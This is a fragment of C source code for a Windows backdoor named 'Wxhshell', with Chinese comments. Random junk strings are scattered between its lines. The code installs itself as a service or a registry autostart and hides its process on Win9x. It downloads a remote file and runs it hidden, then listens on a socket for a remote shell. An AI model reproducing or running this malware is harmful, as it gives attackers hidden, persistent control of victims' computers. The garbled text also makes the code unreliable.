GjBt char procName[255]; -R1;(n) unsigned long cbNeeded; gaNe\ _,v?rFLE if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +t*I{X( uit.r^8l CloseHandle(hProcess); 4Ozcs'} DzA'MX if(strstr(procName,"services")) return 1; // 以服务启动 htrtiJ1 eJn_gKWb return 0; // 注册表启动 K?e16; } [~cz|C# K0o${%'@7 // 主模块 wpC.!T int StartWxhshell(LPSTR lpCmdLine) ki2`gLK { .X(qs 1 SOCKET wsl; p/u BOOL val=TRUE; ek/zQM@% int port=0; lb*;Z7fx<' struct sockaddr_in door; P_mP ^L `-cw[@uD if(wscfg.ws_autoins) Install(); x[)]u8^A 9An\uH)mL port=atoi(lpCmdLine); U6wy^!_X9 ]Lg~I#/# if(port<=0) port=wscfg.ws_port; ZQir?1= Y%y
WSADATA data; B<Cg_C if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2'OY,Ooe @qW$un: if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 7I]?:%8h setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); x./"SQ=R+ door.sin_family = AF_INET; l O* door.sin_addr.s_addr = inet_addr("127.0.0.1"); tQxxm=> door.sin_port = htons(port); $_eJ@L# S=`$w if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { GcA|JS=> closesocket(wsl); wL]#]DiE return 1; ob9od5Rf } 7F]Hq E+e),qsbO if(listen(wsl,2) == INVALID_SOCKET) { /zQx}U)TP closesocket(wsl); lfd-!(tXD return 1;
JV4fL~ } #h9Gl@| Wxhshell(wsl); t;PG WSACleanup(); 8'qlg|{!~ j"pyK@v2B return 0; N7}3?wS ]B~(yh } V!yBH<X 1=9GV+`n // 以NT服务方式启动 )a'` VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0"TPY(n { 'Ox "YE DWORD status = 0; ZFH-srs{
DWORD specificError = 0xfffffff; ]mNsG0r6 Oi$1ma xT serviceStatus.dwServiceType = SERVICE_WIN32; m!^$_d\%~ serviceStatus.dwCurrentState = SERVICE_START_PENDING; =(P$P serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; v_v>gPl, serviceStatus.dwWin32ExitCode = 0; &
@_PY serviceStatus.dwServiceSpecificExitCode = 0; Ku uiU=
(L serviceStatus.dwCheckPoint = 0; xI#rnx* serviceStatus.dwWaitHint = 0; p15dbr1 2
w!
0$ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3,*A VcQA if (hServiceStatusHandle==0) return; "H@I~X=
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qs status = GetLastError(); B`3z(a92S if (status!=NO_ERROR) M0)0~#?.D { c(b`eUOO serviceStatus.dwCurrentState = SERVICE_STOPPED; r~oUln<[ serviceStatus.dwCheckPoint = 0; -ULgVGYKK serviceStatus.dwWaitHint = 0; 3fZoF`<a serviceStatus.dwWin32ExitCode = status; S5Pn6'w serviceStatus.dwServiceSpecificExitCode = specificError; y@2"[fo3~ SetServiceStatus(hServiceStatusHandle, &serviceStatus); %1{O return; ''! j:49 } q@VIFmqY! nox-)e serviceStatus.dwCurrentState = SERVICE_RUNNING; saQo]6# serviceStatus.dwCheckPoint = 0; &t_TLV 8T serviceStatus.dwWaitHint = 0; e} 7!A if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =;)=,+V~q } Buq(L6P9r i& %dwqp // 处理NT服务事件,比如:启动、停止 G-]<+-Q$4 VOID WINAPI NTServiceHandler(DWORD fdwControl) Qz2jV { -*ZQ=nomN switch(fdwControl) [0kZyjCq@ { QG
L~?? case SERVICE_CONTROL_STOP: <m{#u4FC' serviceStatus.dwWin32ExitCode = 0; Iue=\qUK^ serviceStatus.dwCurrentState = SERVICE_STOPPED; 2,Z@< serviceStatus.dwCheckPoint = 0; K$:btWSm serviceStatus.dwWaitHint = 0; >){}nlQf { v6! `H SetServiceStatus(hServiceStatusHandle, &serviceStatus); -!M>;M@ } Q.V@Sawe5 return; nG?Z* n case SERVICE_CONTROL_PAUSE: g1 y@z8Z{ serviceStatus.dwCurrentState = SERVICE_PAUSED; O ]-8 % break; K *1]P ar; case SERVICE_CONTROL_CONTINUE: 0HbCT3g. serviceStatus.dwCurrentState = SERVICE_RUNNING; --c)!Vxzx break; LL+_zBP. case SERVICE_CONTROL_INTERROGATE: J_|%8N{[x break; };Df >< }; n<b}6L} SetServiceStatus(hServiceStatusHandle, &serviceStatus); <Zfh5AM } |\|
v%`r2 R{aqn0M // 标准应用程序主函数 0 A8G8^T int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $DnJ/hg;qD { !B9Yw/Ba H
]](xYy. // 获取操作系统版本 9q&~!>lt OsIsNt=GetOsVer(); /1.Z=@ 7 GetModuleFileName(NULL,ExeFile,MAX_PATH); TC=>De2; /Zx"BSu // 从命令行安装 SymlirL if(strpbrk(lpCmdLine,"iI")) Install(); *] >R f/0k,~,* // 下载执行文件 B(eiRr3 if(wscfg.ws_downexe) { pRsIi_~& if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) d}Y#l}!E6 WinExec(wscfg.ws_filenam,SW_HIDE); sE{5&aCSR } n3eWqwQ$5 E\9HZ;}G if(!OsIsNt) { 5UK}AkEe&x // 如果时win9x,隐藏进程并且设置为注册表启动 N693eN! HideProc(); +~
Y.m8 StartWxhshell(lpCmdLine); 5s4x%L (~} } !kh: zTP else 6~?yn-Z if(StartFromService()) 2sEG#/Y= // 以服务方式启动 }#=t%uZ/ StartServiceCtrlDispatcher(DispatchTable); fmLDufx else 3{ea~G)[9 // 普通方式启动 I-kK^_0mV< StartWxhshell(lpCmdLine); fti0Tz' mOyNl
-f return 0; w=ufJRj }
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